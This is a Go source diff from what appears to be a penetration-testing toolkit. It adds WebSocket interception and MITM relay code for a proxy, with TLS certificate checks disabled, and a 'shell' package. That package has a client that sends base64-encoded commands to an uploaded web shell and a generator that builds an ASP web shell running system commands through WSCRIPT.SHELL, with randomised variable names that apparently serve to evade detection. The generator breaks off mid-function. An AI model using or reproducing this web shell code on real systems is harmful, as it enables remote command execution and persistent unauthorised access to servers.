scheme = strings.ToLower(scheme)
|
||||
if scheme != "ws" && scheme != "wss" {
|
||||
return nil, nil, fmt.Errorf("invalid scheme %q (want ws or wss)", scheme)
|
||||
}
|
||||
if host == "" {
|
||||
return nil, nil, errors.New("host is required")
|
||||
}
|
||||
if !hasPort(host) {
|
||||
if scheme == "wss" {
|
||||
host = net.JoinHostPort(host, "443")
|
||||
} else {
|
||||
host = net.JoinHostPort(host, "80")
|
||||
}
|
||||
}
|
||||
|
||||
rawUpgrade = ensureWebSocketKey(rawUpgrade)
|
||||
|
||||
conn, err := m.dialConn(scheme, host)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("dial: %w", err)
|
||||
}
|
||||
|
||||
if _, err := conn.Write(rawUpgrade); err != nil {
|
||||
conn.Close()
|
||||
return nil, nil, fmt.Errorf("write upgrade: %w", err)
|
||||
}
|
||||
|
||||
br := bufio.NewReader(conn)
|
||||
resp, err := http.ReadResponse(br, nil)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, nil, fmt.Errorf("read upgrade response: %w", err)
|
||||
}
|
||||
|
||||
rawResp, _ := httputil.DumpResponse(resp, true)
|
||||
resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusSwitchingProtocols {
|
||||
conn.Close()
|
||||
return nil, rawResp, fmt.Errorf("upgrade failed: %s", resp.Status)
|
||||
}
|
||||
|
||||
sess := &ManipulateWSSession{
|
||||
ID: GenerateID(),
|
||||
URL: scheme + "://" + host + requestTarget(rawUpgrade),
|
||||
createdAt: time.Now(),
|
||||
conn: conn,
|
||||
onFrame: onFrame,
|
||||
onClose: onClose,
|
||||
}
|
||||
sess.state.Store(int32(ManipulateWSOpen))
|
||||
|
||||
m.mu.Lock()
|
||||
m.sessions[sess.ID] = sess
|
||||
m.mu.Unlock()
|
||||
|
||||
go m.readLoop(sess, br)
|
||||
|
||||
return sess, rawResp, nil
|
||||
}
|
||||
|
||||
// Send writes a single FIN data/control frame with the given opcode and
|
||||
// payload. The client side always masks outgoing frames. The sent frame is
|
||||
// also dispatched to the session's onFrame callback so the UI transcript is
|
||||
// updated consistently.
|
||||
func (m *ManipulateWSManager) Send(id string, opcode byte, payload []byte) error {
|
||||
sess := m.Get(id)
|
||||
if sess == nil {
|
||||
return fmt.Errorf("unknown session %s", id)
|
||||
}
|
||||
if sess.State() != ManipulateWSOpen {
|
||||
return errors.New("session not open")
|
||||
}
|
||||
if len(payload) > wsMaxPayloadSize {
|
||||
return fmt.Errorf("payload too large: %d bytes", len(payload))
|
||||
}
|
||||
|
||||
frame := &WSFrame{FIN: true, Opcode: opcode & 0x0F, Payload: payload}
|
||||
|
||||
sess.writeMu.Lock()
|
||||
err := WriteFrame(sess.conn, frame, true)
|
||||
sess.writeMu.Unlock()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if sess.onFrame != nil {
|
||||
sess.onFrame("sent", frame.Opcode, append([]byte(nil), payload...), time.Now())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close sends a close frame (if still open) and tears down the session.
|
||||
// Repeated calls are safe.
|
||||
func (m *ManipulateWSManager) Close(id, reason string) error {
|
||||
sess := m.Get(id)
|
||||
if sess == nil {
|
||||
return nil
|
||||
}
|
||||
sess.closeOnce.Do(func() {
|
||||
if sess.state.Swap(int32(ManipulateWSClosed)) == int32(ManipulateWSOpen) {
|
||||
sess.writeMu.Lock()
|
||||
WriteFrame(sess.conn, &WSFrame{FIN: true, Opcode: wsOpClose}, true) //nolint:errcheck
|
||||
sess.writeMu.Unlock()
|
||||
}
|
||||
sess.conn.Close()
|
||||
|
||||
m.mu.Lock()
|
||||
delete(m.sessions, sess.ID)
|
||||
m.mu.Unlock()
|
||||
|
||||
if sess.onClose != nil {
|
||||
sess.onClose(reason)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
// readLoop reassembles incoming frames and dispatches complete messages
|
||||
// through onFrame. Control frames are delivered immediately. On any read
|
||||
// error or a close frame, the session is torn down.
|
||||
func (m *ManipulateWSManager) readLoop(sess *ManipulateWSSession, br *bufio.Reader) {
|
||||
var msgBuf []byte
|
||||
var msgOpcode byte
|
||||
|
||||
for {
|
||||
frame, err := ReadFrame(br)
|
||||
if err != nil {
|
||||
reason := err.Error()
|
||||
if errors.Is(err, io.EOF) {
|
||||
reason = "eof"
|
||||
}
|
||||
m.Close(sess.ID, reason)
|
||||
return
|
||||
}
|
||||
|
||||
if frame.IsControl() {
|
||||
if sess.onFrame != nil {
|
||||
sess.onFrame("received", frame.Opcode, append([]byte(nil), frame.Payload...), time.Now())
|
||||
}
|
||||
if frame.Opcode == wsOpClose {
|
||||
m.Close(sess.ID, "peer closed")
|
||||
return
|
||||
}
|
||||
// Respond to ping with a pong.
|
||||
if frame.Opcode == wsOpPing {
|
||||
pong := &WSFrame{FIN: true, Opcode: wsOpPong, Payload: frame.Payload}
|
||||
sess.writeMu.Lock()
|
||||
WriteFrame(sess.conn, pong, true) //nolint:errcheck
|
||||
sess.writeMu.Unlock()
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
if frame.Opcode != wsOpContinuation {
|
||||
msgOpcode = frame.Opcode
|
||||
msgBuf = append(msgBuf[:0], frame.Payload...)
|
||||
} else {
|
||||
msgBuf = append(msgBuf, frame.Payload...)
|
||||
}
|
||||
|
||||
if !frame.FIN {
|
||||
continue
|
||||
}
|
||||
|
||||
if sess.onFrame != nil {
|
||||
sess.onFrame("received", msgOpcode, append([]byte(nil), msgBuf...), time.Now())
|
||||
}
|
||||
msgBuf = msgBuf[:0]
|
||||
}
|
||||
}
|
||||
|
||||
// dialConn opens a TCP or TLS connection to host, honoring the SOCKS
|
||||
// configuration on the transport if one is present.
|
||||
func (m *ManipulateWSManager) dialConn(scheme, host string) (net.Conn, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
var raw net.Conn
|
||||
var err error
|
||||
if m.transport != nil {
|
||||
if dialCtx := m.transport.SOCKSDialContext(); dialCtx != nil {
|
||||
raw, err = dialCtx(ctx, "tcp", host)
|
||||
}
|
||||
}
|
||||
if raw == nil && err == nil {
|
||||
raw, err = net.DialTimeout("tcp", host, 10*time.Second)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if scheme != "wss" {
|
||||
return raw, nil
|
||||
}
|
||||
|
||||
serverName, _, _ := net.SplitHostPort(host)
|
||||
tlsConn := tls.Client(raw, &tls.Config{
|
||||
ServerName: serverName,
|
||||
InsecureSkipVerify: true, //nolint:gosec
|
||||
})
|
||||
if err := tlsConn.Handshake(); err != nil {
|
||||
raw.Close()
|
||||
return nil, fmt.Errorf("tls handshake: %w", err)
|
||||
}
|
||||
return tlsConn, nil
|
||||
}
|
||||
|
||||
// ensureWebSocketKey inserts a random Sec-WebSocket-Key header if one is not
|
||||
// already present in the raw upgrade bytes.
|
||||
func ensureWebSocketKey(raw []byte) []byte {
|
||||
headers, rest, ok := bytes.Cut(raw, []byte("\r\n\r\n"))
|
||||
if !ok {
|
||||
return raw
|
||||
}
|
||||
if bytes.Contains(bytes.ToLower(headers), []byte("sec-websocket-key:")) {
|
||||
return raw
|
||||
}
|
||||
keyBytes := make([]byte, 16)
|
||||
if _, err := rand.Read(keyBytes); err != nil {
|
||||
return raw
|
||||
}
|
||||
hdr := "\r\nSec-WebSocket-Key: " + base64.StdEncoding.EncodeToString(keyBytes)
|
||||
out := make([]byte, 0, len(raw)+len(hdr)+4)
|
||||
out = append(out, headers...)
|
||||
out = append(out, hdr...)
|
||||
out = append(out, "\r\n\r\n"...)
|
||||
out = append(out, rest...)
|
||||
return out
|
||||
}
|
||||
|
||||
// requestTarget extracts the path+query from the first line of a raw HTTP
|
||||
// request, returning "/" on failure.
|
||||
func requestTarget(raw []byte) string {
|
||||
firstLine, _, _ := bytes.Cut(raw, []byte("\r\n"))
|
||||
parts := bytes.Fields(firstLine)
|
||||
if len(parts) < 2 {
|
||||
return "/"
|
||||
}
|
||||
return string(parts[1])
|
||||
}
|
||||
|
||||
// hasPort reports whether host already includes a ":port" suffix.
|
||||
func hasPort(host string) bool {
|
||||
_, _, err := net.SplitHostPort(host)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// OpcodeName maps a WS opcode to its wire name for JSON payloads.
|
||||
func OpcodeName(op byte) string {
|
||||
switch op & 0x0F {
|
||||
case wsOpContinuation:
|
||||
return "continuation"
|
||||
case wsOpText:
|
||||
return "text"
|
||||
case wsOpBinary:
|
||||
return "binary"
|
||||
case wsOpClose:
|
||||
return "close"
|
||||
case wsOpPing:
|
||||
return "ping"
|
||||
case wsOpPong:
|
||||
return "pong"
|
||||
}
|
||||
return fmt.Sprintf("opcode-%x", op&0x0F)
|
||||
}
|
||||
|
||||
// OpcodeFromName is the inverse of OpcodeName. Returns (0, false) if unknown.
|
||||
func OpcodeFromName(name string) (byte, bool) {
|
||||
switch strings.ToLower(name) {
|
||||
case "text":
|
||||
return wsOpText, true
|
||||
case "binary":
|
||||
return wsOpBinary, true
|
||||
case "ping":
|
||||
return wsOpPing, true
|
||||
case "pong":
|
||||
return wsOpPong, true
|
||||
case "close":
|
||||
return wsOpClose, true
|
||||
case "continuation":
|
||||
return wsOpContinuation, true
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
@@ -0,0 +1,304 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// CapturedWSMessage holds a captured WebSocket message.
|
||||
type CapturedWSMessage struct {
|
||||
ID string `json:"id"`
|
||||
ConnectionID string `json:"connectionId"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Direction string `json:"direction"` // "client_to_server" or "server_to_client"
|
||||
Opcode byte `json:"opcode"`
|
||||
PayloadLength int `json:"payloadLength"`
|
||||
Payload string `json:"payload"` // base64 for binary, raw for text
|
||||
Host string `json:"host"`
|
||||
URL string `json:"url"`
|
||||
IsText bool `json:"isText"`
|
||||
}
|
||||
|
||||
// handleWSUpgradeHTTP handles WebSocket upgrades for plain HTTP proxy requests.
|
||||
func (h *Handler) handleWSUpgradeHTTP(w http.ResponseWriter, r *http.Request, id string) {
|
||||
hijacker, ok := w.(http.Hijacker)
|
||||
if !ok {
|
||||
http.Error(w, "hijacking not supported", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
// Dial upstream.
|
||||
host := r.Host
|
||||
if r.URL.Port() == "" {
|
||||
host = r.Host + ":80"
|
||||
}
|
||||
|
||||
var upstream net.Conn
|
||||
var err error
|
||||
if dialCtx := h.transport.SOCKSDialContext(); dialCtx != nil {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
upstream, err = dialCtx(ctx, "tcp", host)
|
||||
} else {
|
||||
upstream, err = net.DialTimeout("tcp", host, 10*time.Second)
|
||||
}
|
||||
if err != nil {
|
||||
http.Error(w, "upstream dial error: "+err.Error(), http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
|
||||
// Write the upgrade request to upstream.
|
||||
raw, _ := httputil.DumpRequest(r, true)
|
||||
if _, err := upstream.Write(raw); err != nil {
|
||||
upstream.Close()
|
||||
http.Error(w, "upstream write error", http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
|
||||
// Read upstream response.
|
||||
upstreamReader := bufio.NewReader(upstream)
|
||||
resp, err := http.ReadResponse(upstreamReader, r)
|
||||
if err != nil {
|
||||
upstream.Close()
|
||||
http.Error(w, "upstream response error", http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
|
||||
if resp.StatusCode != http.StatusSwitchingProtocols {
|
||||
resp.Write(w) //nolint:errcheck
|
||||
resp.Body.Close()
|
||||
upstream.Close()
|
||||
return
|
||||
}
|
||||
|
||||
// Hijack client connection.
|
||||
clientConn, clientBuf, err := hijacker.Hijack()
|
||||
if err != nil {
|
||||
resp.Body.Close()
|
||||
upstream.Close()
|
||||
return
|
||||
}
|
||||
resp.Body.Close()
|
||||
|
||||
// Write 101 response to client.
|
||||
respRaw, _ := httputil.DumpResponse(resp, false)
|
||||
clientBuf.Write(respRaw) //nolint:errcheck
|
||||
clientBuf.Flush() //nolint:errcheck
|
||||
|
||||
// Capture the upgrade request in HTTP store.
|
||||
start := timeNow()
|
||||
captured := &CapturedRequest{
|
||||
ID: id,
|
||||
Timestamp: start,
|
||||
Method: r.Method,
|
||||
URL: r.URL.String(),
|
||||
Host: r.Host,
|
||||
StatusCode: resp.StatusCode,
|
||||
Duration: 0,
|
||||
ResponseSize: len(respRaw),
|
||||
ReqRaw: raw,
|
||||
RespRaw: respRaw,
|
||||
}
|
||||
h.store.Add(captured)
|
||||
h.emit(eventRequestCaptured(captured))
|
||||
|
||||
connID := GenerateID()
|
||||
h.wsRelay(connID, r.Host, r.URL.String(), clientConn, upstream, clientBuf.Reader)
|
||||
}
|
||||
|
||||
// handleWSUpgradeMITM handles WebSocket upgrades detected within the MITM TLS loop.
|
||||
func (h *Handler) handleWSUpgradeMITM(tlsConn net.Conn, req *http.Request, hostname string) {
|
||||
// Dial upstream with TLS.
|
||||
host := hostname + ":443"
|
||||
|
||||
var rawUpstream net.Conn
|
||||
var err error
|
||||
if dialCtx := h.transport.SOCKSDialContext(); dialCtx != nil {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
rawUpstream, err = dialCtx(ctx, "tcp", host)
|
||||
} else {
|
||||
rawUpstream, err = net.DialTimeout("tcp", host, 10*time.Second)
|
||||
}
|
||||
if err != nil {
|
||||
writeSimpleResponse(tlsConn, http.StatusBadGateway, "upstream dial error: "+err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
upstream := tls.Client(rawUpstream, &tls.Config{
|
||||
ServerName: hostname,
|
||||
InsecureSkipVerify: true, //nolint:gosec
|
||||
})
|
||||
if err := upstream.Handshake(); err != nil {
|
||||
rawUpstream.Close()
|
||||
writeSimpleResponse(tlsConn, http.StatusBadGateway, "upstream TLS error: "+err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Write the upgrade request to upstream.
|
||||
raw, _ := httputil.DumpRequest(req, true)
|
||||
if _, err := upstream.Write(raw); err != nil {
|
||||
upstream.Close()
|
||||
writeSimpleResponse(tlsConn, http.StatusBadGateway, "upstream write error")
|
||||
return
|
||||
}
|
||||
|
||||
// Read upstream response.
|
||||
upstreamReader := bufio.NewReader(upstream)
|
||||
resp, err := http.ReadResponse(upstreamReader, req)
|
||||
if err != nil {
|
||||
upstream.Close()
|
||||
writeSimpleResponse(tlsConn, http.StatusBadGateway, "upstream response error")
|
||||
return
|
||||
}
|
||||
|
||||
if resp.StatusCode != http.StatusSwitchingProtocols {
|
||||
resp.Write(tlsConn) //nolint:errcheck
|
||||
resp.Body.Close()
|
||||
upstream.Close()
|
||||
return
|
||||
}
|
||||
resp.Body.Close()
|
||||
|
||||
// Write 101 response to client.
|
||||
respRaw, _ := httputil.DumpResponse(resp, false)
|
||||
tlsConn.Write(respRaw) //nolint:errcheck
|
||||
|
||||
// Capture the upgrade request in HTTP store.
|
||||
id := GenerateID()
|
||||
start := timeNow()
|
||||
captured := &CapturedRequest{
|
||||
ID: id,
|
||||
Timestamp: start,
|
||||
Method: req.Method,
|
||||
URL: req.URL.String(),
|
||||
Host: hostname,
|
||||
StatusCode: resp.StatusCode,
|
||||
Duration: 0,
|
||||
ResponseSize: len(respRaw),
|
||||
ReqRaw: raw,
|
||||
RespRaw: respRaw,
|
||||
}
|
||||
h.store.Add(captured)
|
||||
h.emit(eventRequestCaptured(captured))
|
||||
|
||||
connID := GenerateID()
|
||||
h.wsRelay(connID, hostname, req.URL.String(), tlsConn, upstream, nil)
|
||||
}
|
||||
|
||||
// wsRelay relays WebSocket frames bidirectionally between client and upstream.
|
||||
// clientReader is an optional pre-existing bufio.Reader wrapping clientConn (from hijack).
|
||||
func (h *Handler) wsRelay(connID, host, urlStr string, clientConn, upstreamConn net.Conn, clientReader *bufio.Reader) {
|
||||
defer clientConn.Close()
|
||||
defer upstreamConn.Close()
|
||||
|
||||
var clientR io.Reader = clientConn
|
||||
if clientReader != nil {
|
||||
clientR = clientReader
|
||||
}
|
||||
upstreamR := bufio.NewReader(upstreamConn)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(2)
|
||||
|
||||
// client → server
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
h.relayFrames(connID, host, urlStr, clientR, upstreamConn, "client_to_server", true)
|
||||
}()
|
||||
|
||||
// server → client
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
h.relayFrames(connID, host, urlStr, upstreamR, clientConn, "server_to_client", false)
|
||||
}()
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
// relayFrames reads frames from src and writes them to dst, capturing messages.
|
||||
// masked indicates whether outgoing frames should be masked (client→server = true).
|
||||
func (h *Handler) relayFrames(connID, host, urlStr string, src io.Reader, dst net.Conn, direction string, masked bool) {
|
||||
var msgBuf []byte
|
||||
var msgOpcode byte
|
||||
|
||||
for {
|
||||
frame, err := ReadFrame(src)
|
||||
if err != nil {
|
||||
// Send close frame on read error.
|
||||
closeFrame := &WSFrame{FIN: true, Opcode: wsOpClose}
|
||||
WriteFrame(dst, closeFrame, masked) //nolint:errcheck
|
||||
return
|
||||
}
|
||||
|
||||
// Control frames: forward immediately without match/replace.
|
||||
if frame.IsControl() {
|
||||
WriteFrame(dst, frame, masked) //nolint:errcheck
|
||||
if frame.Opcode == wsOpClose {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// Data frames: accumulate continuation frames until FIN.
|
||||
if frame.Opcode != wsOpContinuation {
|
||||
msgOpcode = frame.Opcode
|
||||
msgBuf = append(msgBuf[:0], frame.Payload...)
|
||||
} else {
|
||||
msgBuf = append(msgBuf, frame.Payload...)
|
||||
}
|
||||
|
||||
if !frame.FIN {
|
||||
continue
|
||||
}
|
||||
|
||||
// Complete message — apply match/replace.
|
||||
if h.replace != nil {
|
||||
msgBuf = h.replace.Apply("ws_message", msgBuf)
|
||||
}
|
||||
|
||||
// Capture the message.
|
||||
isText := msgOpcode == wsOpText
|
||||
msg := &CapturedWSMessage{
|
||||
ID: GenerateID(),
|
||||
ConnectionID: connID,
|
||||
Timestamp: timeNow(),
|
||||
Direction: direction,
|
||||
Opcode: msgOpcode,
|
||||
PayloadLength: len(msgBuf),
|
||||
Host: host,
|
||||
URL: urlStr,
|
||||
IsText: isText,
|
||||
}
|
||||
if isText {
|
||||
msg.Payload = string(msgBuf)
|
||||
} else {
|
||||
msg.Payload = fmt.Sprintf("%x", msgBuf)
|
||||
}
|
||||
|
||||
if h.wsStore != nil {
|
||||
h.wsStore.Add(msg)
|
||||
}
|
||||
h.emit(eventWSMessage(msg))
|
||||
|
||||
// Forward as a single frame.
|
||||
outFrame := &WSFrame{
|
||||
FIN: true,
|
||||
Opcode: msgOpcode,
|
||||
Payload: msgBuf,
|
||||
}
|
||||
if err := WriteFrame(dst, outFrame, masked); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
msgBuf = msgBuf[:0]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// WSStore is a thread-safe in-memory ring buffer of captured WebSocket messages.
|
||||
type WSStore struct {
|
||||
mu sync.RWMutex
|
||||
items []*CapturedWSMessage
|
||||
maxSize int
|
||||
}
|
||||
|
||||
// NewWSStore creates a WSStore with the given max capacity.
|
||||
func NewWSStore(maxSize int) *WSStore {
|
||||
if maxSize <= 0 {
|
||||
maxSize = 10000
|
||||
}
|
||||
return &WSStore{
|
||||
items: make([]*CapturedWSMessage, 0, 256),
|
||||
maxSize: maxSize,
|
||||
}
|
||||
}
|
||||
|
||||
// Add appends a message, evicting the oldest if at capacity.
|
||||
func (s *WSStore) Add(m *CapturedWSMessage) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if len(s.items) >= s.maxSize {
|
||||
s.items = s.items[1:]
|
||||
}
|
||||
s.items = append(s.items, m)
|
||||
}
|
||||
|
||||
// WSMessageFilter holds optional filter criteria.
|
||||
type WSMessageFilter struct {
|
||||
Host string
|
||||
Offset int
|
||||
Limit int
|
||||
}
|
||||
|
||||
// List returns a filtered, paginated slice along with total count.
|
||||
func (s *WSStore) List(f WSMessageFilter) ([]*CapturedWSMessage, int) {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
|
||||
var filtered []*CapturedWSMessage
|
||||
for _, m := range s.items {
|
||||
if f.Host != "" && !strings.Contains(strings.ToLower(m.Host), strings.ToLower(f.Host)) {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, m)
|
||||
}
|
||||
|
||||
total := len(filtered)
|
||||
if f.Offset >= total {
|
||||
return []*CapturedWSMessage{}, total
|
||||
}
|
||||
|
||||
end := f.Offset + f.Limit
|
||||
if f.Limit <= 0 || end > total {
|
||||
end = total
|
||||
}
|
||||
return filtered[f.Offset:end], total
|
||||
}
|
||||
|
||||
// Clear removes all stored messages.
|
||||
func (s *WSStore) Clear() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.items = s.items[:0]
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package shell
|
||||
|
||||
import rand "math/rand/v2"
|
||||
|
||||
var dictionary = []string{"abauto", "abayo", "abcess", "ability", "able", "ably", "about", "above", "absorb", "absorbed", "abune", "abused", "acanthad", "accept", "accepted", "accomplish", "accomplishment", "account", "accuse", "acetylized", "achieve", "acres", "act", "acting", "action", "actual", "added", "adjusting", "advantage", "advised", "affiliations", "afraid", "after", "again", "agency", "agepoyo", "ages", "ago", "agruif", "aho", "ahondara", "aiaigasa", "aieee", "aikon", "ailment", "aiming", "ainiku", "aisatsu", "aitsu", "aji", "ajinomoto", "akumabito", "alarm", "alex", "alice", "alit", "all", "allantoidean", "allegatum", "allotting", "allpowerful", "almighty", "almost", "aloes", "alone", "aloud", "alphabet", "already", "although", "always", "am", "amae", "amai", "amazed", "amazingly", "ambushed", "among", "ampul", "an", "anan", "and", "anger", "angrily", "anka", "anne", "annoyances", "annoying", "annunciations", "ano", "another", "answer", "antechoirs", "antepreterit", "antilitter", "any", "anyone", "anything", "ao", "aoiro", "apart", "apo", "apobiotic", "apothegmatical", "appare", "approach", "approaches", "appusuru", "apuri", "arara", "arches", "are", "arere", "argue", "ariari", "arm", "armchair", "armourlike", "around", "arthrodynic", "artist", "aruaru", "arubaito", "as", "asagata", "asagohan", "asahi", "asahiru", "ascaridol", "asenna", "asked", "asking", "asleep", "aspire", "assistant", "at", "atama", "atami", "atatakai", "atchiitte", "atchikaere", "attaatta", "attacks", "attakai", "attercrop", "attracted", "autocratical", "avoid", "avoided", "avoids", "aware", "away", "axe", "babaa", "back", "backwinded", "bad", "bag", "baigaeshi", "baito", "baka", "bakatta", "bakuhatsu", "ball", "ban", "banca", "baribari", "bastage", "bastard", "bawds", "baz", "be", "beam", "bears", "because", "bechabecha", "become", "bed", "bedding", "bedirt", "bedrivelled", "been", "before", "began", "beginning", "beguiled", "begun", "behind", "being", "believe", "believed", "believing", "belly", "belongs", "beloved", "belt", "benchi", "benkyo", "benri", "bescour", "best", "betsuni", "better", "between", "big", "bijin", "bijogaa", "binbin", "bio", "birds", "bishonen", "bit", "bkyuuerebun", "blame", "blaming", "blessedest", "blew", "blind", "blinded", "bliss", "blow", "blowzy", "blue", "blur", "boa", "bodiikon", "boke", "boketto", "bold", "bonkura", "bonresuhamu", "bookmarksgrove", "boor", "born", "boroboro", "boroi", "boss", "bosss", "botebote", "bought", "bound", "boundaries", "bourrasque", "bout", "bouzu", "bow", "box", "brave", "brawny", "break", "breakfasts", "breath", "breathe", "bred", "brehonia", "brick", "bright", "brown", "buds", "buhibuhi", "buhiru", "bum", "buraja", "buranketto", "buruhairu", "burusera", "buruuhatsu", "busaiku", "business", "but", "buta", "butchake", "butebute", "buts", "buzz", "by", "cable", "cajole", "cambridge", "came", "campiness", "can", "candle", "cane", "caned", "cannot", "cap", "capeskin", "car", "career", "case", "cases", "cat", "catch", "caupo", "caves", "certain", "certainly", "cha", "chage", "chairo", "chakkari", "chakku", "challenging", "chances", "change", "chanpuru", "chap", "charachara", "charai", "charge", "charier", "charm", "charms", "chasm", "chatters", "chauchau", "che", "cheek", "chest", "chibi", "chibidebu", "chiito", "chimneys", "chinke", "chintara", "chitose", "chiwawa", "chloritization", "choberiba", "choberigu", "choice", "chon", "choose", "chooses", "chosen", "choshiii", "choshinotteiru", "choshoku", "chottomatte", "chounaikai", "chumps", "chutney", "chuubu", "chuushoku", "cilioscleral", "circumstances", "citee", "civil", "clabbered", "claim", "claims", "cleans", "cling", "clock", "close", "coalesce", "coast", "cold", "coldheartedness", "collection", "colon", "colporteurs", "come", "comes", "coming", "commas", "commentators", "common", "commonplaceness", "company", "compared", "compete", "complete", "completely", "compromise", "con", "conceive", "conceptions", "confound", "connections", "consequences", "consonantia", "consonantised", "contact", "continued", "contract", "contractu", "contravariant", "control", "conversation", "convince", "coo", "copy", "corner", "corticostriate", "could", "couldnt", "counterfeited", "countless", "countries", "country", "cover", "covered", "cozy", "crazy", "create", "created", "creative", "credo", "cried", "cross", "crowded", "crucial", "culiciform", "cummer", "curiosity", "curious", "curse", "cushion", "cut", "cutting", "dabodabo", "daft", "dai", "daijoubu", "dakara", "dame", "damedame", "dameyo", "dandan", "dango", "dantai", "daphnias", "daradara", "dares", "daretoku", "daring", "dark", "darkness", "dasai", "dasee", "dassadasa", "dattara", "datte", "daunroudo", "day", "dead", "dear", "debag", "debt", "debudebu", "decapitator", "decarbonylating", "decided", "deeds", "deeply", "defeat", "definitely", "defo", "delay", "dell", "demo", "demonstrating", "demoralized", "denounce", "denouncing", "densify", "denwa", "depending", "derodero", "dLine truncated
|
||||
|
||||
// GenerateRandomString returns a random three-word combination from the dictionary.
|
||||
func GenerateRandomString() string {
|
||||
r1 := rand.IntN(len(dictionary))
|
||||
r2 := rand.IntN(len(dictionary))
|
||||
r3 := rand.IntN(len(dictionary))
|
||||
return dictionary[r1] + dictionary[r2] + dictionary[r3]
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package shell
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"html"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ExecuteCommand sends a command to an uploaded web shell and returns the output.
|
||||
func ExecuteCommand(target, webShell, authKey, command string, client http.Client) (string, error) {
|
||||
encodedString := base64.StdEncoding.EncodeToString([]byte(command))
|
||||
requestTarget := target + webShell + "?key=" + authKey + "&cmd=" + encodedString
|
||||
|
||||
resp, err := client.Get(requestTarget)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("request failed: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
bodyBytes, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("reading response: %w", err)
|
||||
}
|
||||
bodyString := string(bodyBytes)
|
||||
|
||||
lower := strings.ToLower(bodyString)
|
||||
preStart := strings.Index(lower, "<pre>")
|
||||
preEnd := strings.Index(lower, "</pre>")
|
||||
|
||||
if preStart == -1 || preEnd == -1 || preEnd <= preStart {
|
||||
return "", fmt.Errorf("unexpected response from web shell")
|
||||
}
|
||||
|
||||
output := html.UnescapeString(bodyString[preStart+len("<pre>") : preEnd])
|
||||
if output == "" {
|
||||
return "[no output]", nil
|
||||
}
|
||||
return output, nil
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
package shell
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/hashicorp/go-uuid"
|
||||
)
|
||||
|
||||
// GenerateASP returns the content of an ASP web shell and the authentication key (UUID).
|
||||
func GenerateASP() (content, key string, err error) {
|
||||
key, err = uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("generating key: %w", err)
|
||||
}
|
||||
|
||||
authKeyVar := GenerateRandomString()
|
||||
b64 := GenerateRandomString()
|
||||
b64Decode := GenerateRandomString()
|
||||
b64Decoded := GenerateRandomString()
|
||||
b64String := GenerateRandomString()
|
||||
charCounter := GenerateRandomString()
|
||||
cmo := GenerateRandomString()
|
||||
command := GenerateRandomString()
|
||||
dataLength := GenerateRandomString()
|
||||
getCommandOutput := GenerateRandomString()
|
||||
groupBegin := GenerateRandomString()
|
||||
nGroup := GenerateRandomString()
|
||||
numDataBytes := GenerateRandomString()
|
||||
objCmdExec := GenerateRandomString()
|
||||
objShell := GenerateRandomString()
|
||||
pOut := GenerateRandomString()
|
||||
sOut := GenerateRandomString()
|
||||
thisChar := GenerateRandomString()
|
||||
thisData := GenerateRandomString()
|
||||
userKey := GenerateRandomString()
|
||||
userCommand := GenerateRandomString()
|
||||
|
||||
content = "<%\n"
|
||||
content += "Set oScript = Server.CreateObject(\"WSCRIPT.SHELL\")\n"
|
||||
content += "Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")\n"
|
||||
content += "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")\n"
|
||||
content += "Function " + getCommandOutput + "(" + command + ")\n"
|
||||
content += " Dim " + objShell + ", " + objCmdExec + "\n"
|
||||
